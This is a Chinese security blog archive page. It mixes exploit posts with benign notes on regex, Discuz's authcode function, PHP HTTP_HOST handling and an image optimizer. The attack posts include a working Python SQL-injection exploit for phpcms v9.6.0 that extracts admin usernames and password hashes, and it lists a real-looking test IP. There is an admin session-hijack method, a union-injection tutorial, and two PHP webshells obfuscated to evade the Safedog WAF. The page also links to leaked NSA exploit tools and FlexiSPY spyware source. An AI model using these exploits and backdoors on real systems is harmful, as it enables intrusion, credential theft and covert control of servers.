phpcms_v9.6.0_sql注入与exp 渗透测试

phpcms_v9.6.0_sql注入分析

可疑的函数

localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/

2.过滤函数剖析和绕过

localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/

3.src变量到底去哪了

/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/

phpcms_v9.6.0_sql注入还原

1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份

2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload

3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?

网上这个文档传的很快

作者我也不知道是谁

大家都把版权改成自己的

我也是醉了

有知情人士可留言~给人家一个版权

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(    '_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

exp也是别人分享给我的

看起来作者应该是luan

测试地址:

122.9.16.209


成功截图:

不过呢,众所周知

phpcms的密文特别难解密

所以有个配合使用的方法

通过sql注入漏洞读取数据库信息

但是不能破解密码的情况下

可以绕过后台验证

phpcms数据库中表v9_session

保存着管理员登录的信息

而且字段sessionid保存着就是

已经登录管理后台的PHPSESSID

可以通过sql注入读取到这个值

并写入到自己的浏览器中。

直接访问后台地址:

/index.php?m=admin&c=index&a=public_menu_left

将数据库中的sessionid信息带入!

相关文章网上也有

最后,我还是觉得这个漏洞挺鸡肋的

至于哪里鸡肋请看官细细体会

还有几个更牛逼的漏洞也许

过几天就会有人放出来了

反正我不做第一个吃螃蟹的人了

怕被打死~

原文地址:https://zhuanlan.zhihu.com/p/26263513

PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...


admin 发布于  2017-4-24 21:30 

号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏 业界新闻

号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏,

在4月22日,由 @fleximinx 储存整理.

Source files:


bb_cyclops.zip d84f692b12c732e14ad463b4d7d0ec34 from Tweet Mega : files in 2012-01-11_v.1.03.2 folder

Gamma.zip cff15a5bad15118a7e43c1c3f0d13df1 from Tweet Mega : Gamma Symbian malware certs/signatures in Gamma folder

bin.zip aa735cb779ce9089665eb821f596a7eb from Tweet Mega : binaries of apps in bin folder

omni.zip 4677a66eab2d44e410dfb36da64705c5 from Tweet Mega : source code of Android app in 1.00.1 folder

android_cyclops.zip 5c80bcb6576d5c58143ea48ee43de5f8 from Tweet Mega : source code of Android Cyclops in Cyclops -1.00.4 folder

iphone_phoenix_4.9.1.zip 25b7416a26624ffec76b3197f84f0d59 Tweet Mega : source code of IOS app in FlexiSPY Phoenix 4.9.1 folder



github备份地址: https://github.com/Mrxn-code/flexidie


其实 FlexiSPY 就是个灰色地带的“间谍”软件。

FlexiSPY 官网有中文页面,可以细细了解下它在干什么:

https://www.flexispy.com/zh/





admin 发布于  2017-4-24 10:29 

小计一个正则匹配提取实例之从网页中提取所有域内链接 技术文章

比如某个网站包含如下的内容:


<select name="select7" class="textbox" style="width: 200px;" onchange="MM_jumpMenu('parent',this,0)">
          <option selected="selected">---------〖校内机构〗---------</option>
          <option>————管理机构————</option>
          <option value="/dzbgs/">党政办公室</option>
          <option value="/xcb/">党委组织宣传部</option>
          <option value="/rsc/">人事处</option>
          <option value="/jwc/">教务处</option>
          <option value="/xsc/">学生处(党委学工部)</option>
          <option value="/zsxx/">招生办公室</option>
          <option value="/jyb/">就业指导办公室</option>
          <option value="/cwc/">财务处</option>
          <option value="/zcc/">资产管理处</option>
                    <option value="/wsc/">国际合作交流处</option>
          <option value="/kyc/">科研处</option>
          <option value="/dds/">督导室</option>
          <option value="/zlpg/">质量监控与评估中心</option>
          <option value="/bwc/">保卫处(武装部、安全稳定办公室)</option>
          <option value="/hq/">后勤服务公司</option>

          <option>————教学机构————</option>
          <option value="/yyyyxy/">英语语院</option>
                              <option value="/dfyyyxy/">东方语学院</option>
                    <option value="/yayyxy/">西方语学院</option>
                    <option value="/gjsxy/">国际商学院</option>
          <option value="/gjwhjlxy/">文学与新闻传播学院</option>
          <option value="/gsgl/">管理学院</option>
          <option value="/ysxy/">艺术学院</option>
          <option value="/yyxy/">音乐学院</option>
          <option value="/szjyb/">思想政治理论教研部</option>
                 <option value="/tyb/">体育部</option>
                                     <option value="/jxjyxy/">继续教育学院</option>

          <option>————教辅机构————</option>
          <option value="/tsg/">图书馆</option>
          <option value="/net/">现代教育技术中心</option>

           <option>————教辅机构————</option>
          <option value="/gh/">工会</option>
          <option value="/tw/">团委</option>
        </select>

我们要提取你面的所有的内域的网址,就是value后面的值:"/tw/",手工不说,最为原始的方法,体力活我们要尽量少干,正则走起啊!


使用正则提取两个双引号之间的内容,正则表达式很简单:

/(.*)[A-Z-a-z]/


Mrxn_20170422_213938.png

这样我们提取出来了,可是没有加上域名啊,如何是好?答案就是继续正则啊,骚男不要犹豫,对于网页内内容,没有正则提取不了的(先吹个牛逼-_-|hh ):

(.?^/)


Mrxn_20170422_214045.png

直接批量替换每行的第一个斜杠为域名不就OK了,上图域名结尾少了个斜杠.别跳坑里了!效果如下,就好了,前前后不到一分钟搞定,收工,比我写这篇文章还快!

本来不想写的,这么久了没发文章,手痒痒,凑个数!仅当笔记.


http://www.xxxx.com/dzbgs/
http://www.xxxx.com/xcb/
http://www.xxxx.com/rsc/
http://www.xxxx.com/jwc/
http://www.xxxx.com/xsc/
http://www.xxxx.com/zsxx/
http://www.xxxx.com/jyb/
http://www.xxxx.com/cwc/
http://www.xxxx.com/zcc/
http://www.xxxx.com/wsc/
http://www.xxxx.com/kyc/
http://www.xxxx.com/dds/
http://www.xxxx.com/zlpg/
http://www.xxxx.com/bwc/
http://www.xxxx.com/hq/
http://www.xxxx.com/yyyyxy/
http://www.xxxx.com/dfyyyxy/
http://www.xxxx.com/yayyxy/
http://www.xxxx.com/gjsxy/
http://www.xxxx.com/gjwhjlxy/
http://www.xxxx.com/gsgl/
http://www.xxxx.com/ysxy/
http://www.xxxx.com/yyxy/
http://www.xxxx.com/szjyb/
http://www.xxxx.com/tyb/
http://www.xxxx.com/jxjyxy/
http://www.xxxx.com/tsg/
http://www.xxxx.com/net/
http://www.xxxx.com/gh/
http://www.xxxx.com/tw/

好了,牛逼吹完了,洗洗睡了.我们下回见,对于不懂得正则可以评论,我可以帮你试试哦!

PS: 牛逼的娃娃们不要乱搞,这是我测试项目的.谢谢!


标签: 代码 正则

admin 发布于  2017-4-22 21:27 

NSA 方程式组织又被泄了一批好东西,主要是windows的exploit 安全工具

点击查看原图


Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg

Downloaded from https://yadi.sk/d/NJqzpqo_3GxZA4 Original post from the #ShadowBrokers https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation

  • windows: contains Windows exploits, implants and payloads
  • swift: contains operational notes from banking attacks
  • oddjob: docs related to the ODDJOB backdoor

相关链接: https://yadi.sk/d/NJqzpqo_3GxZA4  解压密码: Reeeeeeeeeeeeeee

这次的文件有三个目录,分别为“Windows”、“Swift” 和 “OddJob”,包含一堆令人震撼的黑客工具(我们挑几个重要的列举如下):

EXPLODINGCAN 是 IIS 6.0 远程漏洞利用工具

ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限。

除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器。

ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口的 Windows 机器。

FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。

ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。

ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具。

ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击 Windows 2000/2003/2008/2008 R2 的域控制器。


命名为 Windows 文件夹中的黑客工具适用于较早版本的 WindowsNT、windows 2000、XP、windows 7、windows 8等等。



下面的是我克隆的一份.以作备用,话说,国内的反应速度都好慢....关于exploit的威力,自行测试,反正我试了几个,很满意!哈哈.

https://github.com/Mrxn-code/EQGRP_Lost_in_Translation  (不懂的就不要来唧唧歪歪的问这问那,懂的人自然知道)


admin 发布于  2017-4-15 09:25 

Discuz 加密解密函数 authcode PHP

<?php
/**
 * $string 明文或密文
 * $operation 加密ENCODE或解密DECODE
 * $key 密钥
 * $expiry 密钥有效期
 */ 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
    // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
    // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
    // 当此值为 0 时,则不产生随机密钥
    $ckey_length = 4;

    // 密匙
    // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); 

    // 密匙a会参与加解密
    $keya = md5(substr($key, 0, 16));
    // 密匙b会用来做数据完整性验证
    $keyb = md5(substr($key, 16, 16));
    // 密匙c用于变化生成的密文
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    // 参与运算的密匙
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    // 产生密匙簿
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    // 核心加解密部分
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        // 从密匙簿得出密匙进行异或,再转成字符
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        // substr($result, 0, 10) == 0 验证数据有效性
        // substr($result, 0, 10) - time() > 0 验证数据有效性
        // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
        // 验证数据有效性,请看未加密明文的格式
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
        // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

$a = "mrxn.net";
$b = authcode($a, "ENCODE", "abc123");
echo $b."<br/>";
echo authcode($b, "DECODE", "abc123");
?>

运行效果如下:

4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM

mrxn.net

注:因学习需要,转载挡笔记.文章来源于网络.


admin 发布于  2017-4-14 11:21 

手工注入之联合查询注入实例 渗透测试

首先找到一个URL

1.jpg

然后尾部添加’,测试一下是否有注入点,

2.jpg

然后输入and 1=1,页面正常返回,可能是存在注入点,

3.jpg

然后输入and 1=2,页面报错,可能存在注入点,因为我输入的1=1和1=2可能被执行,因为1=1为真所以页面正确,1=2为假,所以页面报错。

4.jpg

然后,我们在链接后面添加语句 order by,根据页面返回结栗,来判断站点中的字段数目,最后发现order by 11正常显示,到时12就报错了,说明字段数目是为11。

5.jpg

接下来,在链接后面添加语句 union select 1,2,3,4,5,6,7,8,9,10,from admin (表名),进行联合查询,来暴露可查询的字段编号,如图可见,

点击查看原图

最后,根据上一步得到的字段编号,添加语句 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin,把页面上暴露的字段编号换成自己想查询的内容,即可在网页相应位置显示。

点击查看原图

注:本文纯属在没有任何waf和程序的过滤条件下,为了明白易懂,所做的教程.如果是有过滤和waf需要适当的调整语句,编码等等,利用火狐的hackbar插件很方便的.如下图(更多的hackbar功能请自行Google):

Mrxn_20170413_110216.png



admin 发布于  2017-4-13 10:47 

警惕office出轨,慎点不可描叙的地方 业界新闻

刚看到微步出了报告,感觉也只是冰山一角,这个漏洞最早由卖咖啡和火眼爆出,看nccgroup报告16底就已经出现,近期开始特别活跃起来,有用于rat/rookit/银行木马。


样本会是一个rtf格式的文档,后缀可以是doc等office文档。


一个关键点是攻击者需要搭建一个服务器,通过olelink对象产生的请求可以返回成一个pplication/hta类型,运行脚本完成最终的payload。


因此,样本会具有实时性,黑客如果关闭下载hta的服务器将很难追踪分析到最终的payload。


想了解详情的同学,推荐关注火眼和nccgroup的报告,完整的exploit估计也快公开了~

点击查看原图


admin 发布于  2017-4-13 06:20 

HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解 PHP

uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。

在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。

php手册中的解释如下:

“HTTP_HOST”

当前请求的 Host: 头信息的内容。

一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。

然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。

最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

最后查了不少资料,在symfony框架里面,找到替代的实现方法:

$host = $_SERVER['HTTP_HOST'];

替换成:

$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');

即可。

注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.

原文地址:https://www.oschina.net/question/36370_14769


admin 发布于  2017-4-12 19:11 

FileOptimizer-利用谷歌开源的图片算法Guetzli优化你的图片 神器荟萃

先做个简单的介绍,估计很多人不知道这个软件:

FileOptimizer是一种高级文件优化器,具有无损(无质量损失)文件大小压缩功能,可支持的文件类型有:

.3GP, .A, .AAI, .AC, .ACC, .ADP, .AI, .AIR, .APK, .APNG, .APPX, .APR, .ART, .AVS, .BAR, .BMP, .BPL, .BSZ, .CBT, .CBZ, .CDR, .CDT, .CHI, .CHM, .CHQ, .CHS, .CHW, .CPL, .CSL, .CSS, .DB, .DCX, .DEB, .DES, .DIB, .DLL, .DOC, .DOCM, .DOCX, .DOT, .DOTM, .DOTX, .DRV, .DWF, .DWFX, .EASM, .EML, .EMLX, .EPDF, .EPRT, .EPUB, .EXE, .FAX, .FB2, .FDF, .FITS, .FLA, .FLAC, .FPX, .FXG, .GALLERY, .GALLERYCOLLECTION, .GALLERYITEM, .GIF, .GRS, .GZ, .HDR, .HRZ, .HTM, .HTML, .ICO, .INK, .IPA, .IPK, .IPSW, .ITA, .ITS, .ITZ, .JAR, .JFI, .JFIF, .JIF, .JNG, .JP2, .JPC, .JPE, .JPEG, .JPG, .JPS, .JS, .JSON, .KML, .KMZ, .KSF, .LIB, .LIT, .LUA, .LUAC, .LXF, .LZL, .M4A, .M4B, .M4P, .M4R, .M4V, .MAX, .MBX, .MCE, .MDB, .MDT, .MDZ, .MHT, .MHTML, .MIC, .MIF, .MIFF, .MIX, .MIZ, .MKA, .MKS, .MKV, .MMIP, .MNG, .MP3, .MP4, .MPD, .MPO, .MPP, .MPT, .MSC, .MSG, .MSI, .MSP, .MST, .MSZ, .MTV, .MTW, .MVZ, .NAR, .NBK, .NOTEBOOK, .O, .OBJ, .OCX, .ODB, .ODF, .ODG, .ODP, .ODS, .ODT, .OEX, .OGA, .OGG, .OGV, .OGX, .OLE, .OLE2, .ONE, .OPT, .OSK, .OST, .OTB, .OXPS, .P7, .PALM, .PBM, .PCC, .PCD, .PCDS, .PCX, .PDB, .PDF, .PFM, .PGM, .PIC, .PICON, .PICT, .PK3, .PNG, .PNM, .PNS, .POTM, .POTX, .PPAM, .PPM, .PPS, .PPSM, .PPSX, .PPT, .PPTM, .PPTX, .PSB, .PSD, .PTIF, .PTIFF, .PUB, .PUZ, .R2SKIN, .RDB, .RFA, .RFT, .RMSKIN, .RTE, .RVT, .S3Z, .SCR, .SGML, .SLDASM, .SLDDRW, .SLDM, .SLDPRT, .SLDX, .SOU, .SPL, .SPO, .STZ, .SUN, .SVG, .SVGZ, .SWC, .SWF, .SYS, .TAR, .TGZ, .THM, .TIF, .TIFF, .VBX, .VCARD, .VCF, .VDX, .VICAR, .VIFF, .VLT, .VSD, .VSS, .VST, .VSX, .VTX, .WAL, .WBA, .WBMP, .WEBP, .WIZ, .WMZ, .WPS, .WSZ, .XAP, .XBM, .XHTML, .XL, .XLA, .XLAM, .XLC, .XLM, .XLS, .XLSM, .XLSX, .XLTM, .XLTX, .XLW, .XML, .XMZ, .XNK, .XPI, .XPM, .XPS, .XSF, .XSL, .XSLT, .XSN, .XWD, .ZIP, STICKYNOTES.SNT, and THUMBS.DB 等格式.



2017年3月16日谷歌新开源了一个图片压缩优化算法Guetzli。这是谷歌官方的博客 

FileOptimizer是一个通用文件优化器,它是Guetzli支持的程序之一。

官方网站: http://nikkhokkho.sourceforge.net/static.php?page=FileOptimizer

当然在sourceforge.net也可以下载的: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/ 

下面我就说一下我的使用体会和我觉得大家应该注意的地方:

  1. 软件分为两中形式的,一个是安装包的gui界面,一个是压缩包形式,直接解压缩修改配置文件就可以使用.
  2. 第一是安装包的下载地址:链接: https://pan.baidu.com/s/1kV1Dtbx 密码: mrxn
  3. 压缩包形式的下载地址:链接:https://pan.baidu.com/s/1crMsiE 密码:mrxn
  4. 不管是安装版的还是压缩包形式的,都要设置才能使用最新的图片压缩算法Guetzli.怎么设置我在下面会讲.

我自己使用的是安装版的,我就讲一下安装版的,压缩包的网上有人已经写了,我就不在重复,我会给出链接的.

当我们安装好之后,打开软件,在菜单栏依次找到Optimize--Options. 然后在弹出的对话框按照我的图片设置就行:

第一个界面的 Do not use recycle bin .意思就是说是否需要保留源文件到回收站中,默认是保留的,你优化完文件觉得不好,想找回源文件就去回收站恢复就行了.当然,在回收站里面是会占用你得内存的,所以如果你觉得没必要保留就把复选框选上,之后优化文件就不会保留源文件到回收站了.

Mrxn_20170410_102623.png

第二个就是在png那个图片那里设置把 Allow lossy optimizations 复选框勾上,默认是没有勾上的.还有就是JPEG的Use arithmetic encoding的复选框勾上.下面把工作界面说一下,看图(新窗口查看高清大图):

Mrxn_20170410_100954.png

下面看我的对比测试,我把我的博客的所有上传文件夹使用zip打包后,大小为136M,我使用FileOptimizer压缩后,大小变为74M,减小了54%.总体的减小不但节约了服务器空间成本,更重要的是每个单个的图片的体积减小可以加快网页的加载速度,提升用户体验.这对站长来说还是比较开心的吧!

20170409_192318.pngMrxn_20170410_095715.png

而且,他不支持的文件格式他会自动跳过,你不用担心.

说了这么多的优点,来说说他的缺点:

就是处理速度慢,一张1M左右的图片处理会要两三分钟,但是平时的网站图片来说,200-300Kb的需要5-6秒.如果图片比较多,建议网上挂机处理或者是放在远程服务器上挂机处理.但是重要的是:

实测对质量在90或以下的jpg图片,guetzli输出的新图质量不会降低。而实际压缩率能够达到平均压缩率29%。

兼容性比较好,输出的jpeg格式图片通用性非常高。没有webp、sharpp那种协议不兼容的困扰。

在客户端jpeg格式的图片编解码速度比其他私有协议快很多。


下面说一下压缩包的使用方法:



Guetzli不是默认的解码器,因为它并不是无损的,所以要在FileOptimizer中启用Guetzli支持。所以你需要执行以下步骤:

  1. 在安装路径下打开FileOptimizer[你安装的位数].ini

小编的是

D:\FileOptimizer\FileOptimizer64.ini 

2.找到JPEGAllowLossy参数,并将其设置为true。

在26行(Notepad++打开)

3.重启FileOptimizer软件

优化你的图片

小编随便使用了几张图片

最后看见优化效果还是不错的

参考链接: 腾云阁技术分析  Google图片压缩优化算法Guetzli的体验报告


admin 发布于  2017-4-10 11:51 

如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解 渗透测试

00x01

   目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗

00x02

   下面是我整理的一些免杀的思路:    

               1.关键字替换

               2.组合猜分

               3.关键函数替换

               4.加解密/编码/解码

               5.可变变量

       可变变量顾名思义,变量的变量

       例:

        $a='b';$b='hello world!';echo $$a;

00x03

   一句话原型:

snipaste_20170409_133924.png


一句话原型可以分为以下两部分:

   eval()                   ------>    函数部分

   $_POST["ceshi"]    ------>    传值部分


00x04

   想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆

传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。

00x05

传值方式:

               1.$_GET

               2.$_POST

               3.$_REQUEST


可能会用到的函数:            

assert() eval() str_replace()

               trim() ltrim() rtrim()

               array() rand()


00x06

免杀系列:

//例1:
<?php
    $c = 'w';$w = 'assert';
    $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]);
    foreach($a as $k => $v){
        if($k==$_GET["a"]){//a=0
            $$c($v);
        }
    }
?>

//例2:
<?php
    $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a'));
    $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]);
    foreach($b as $k => $v){
        if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2
            $a($v);
        }
    }
?>

下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):

点击查看原图

今天就写到这里,我们下次见!


admin 发布于  2017-4-9 13:34